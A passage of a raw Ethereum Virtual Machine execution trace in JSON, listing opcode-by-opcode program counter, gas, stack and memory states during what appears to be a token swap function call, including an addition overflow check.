bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x1522"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5405,"op":"SWAP1","gas":101715,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0xab4cdbfbe9b3529806d350","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5406,"op":"PUSH2","gas":101712,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5409,"op":"JUMP","gas":101709,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x3b53"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15187,"op":"JUMPDEST","gas":101701,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15188,"op":"PUSH1","gas":101700,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15190,"op":"DUP3","gas":101697,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15191,"op":"NOT","gas":101694,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15192,"op":"DUP3","gas":101691,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0xfffffffffffffffffffffffffffffffffffffffffffffef1c33a4fa975bbffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15193,"op":"GT","gas":101688,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0xfffffffffffffffffffffffffffffffffffffffffffffef1c33a4fa975bbffff","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15194,"op":"ISZERO","gas":101685,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15195,"op":"PUSH2","gas":101682,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15198,"op":"JUMPI","gas":101679,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0","0x1","0x3b66"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15206,"op":"JUMPDEST","gas":101669,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15207,"op":"POP","gas":101668,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15208,"op":"ADD","gas":101666,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0x10e3cc5b0568a440000","0xab4cdbfbe9b3529806d350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15209,"op":"SWAP1","gas":101663,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0x1522","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15210,"op":"JUMP","gas":101660,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0xd0038895780ca89cd8a752ed44f9180000","0x0","0xab4dea38af63a9224ad350","0x1522"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","00000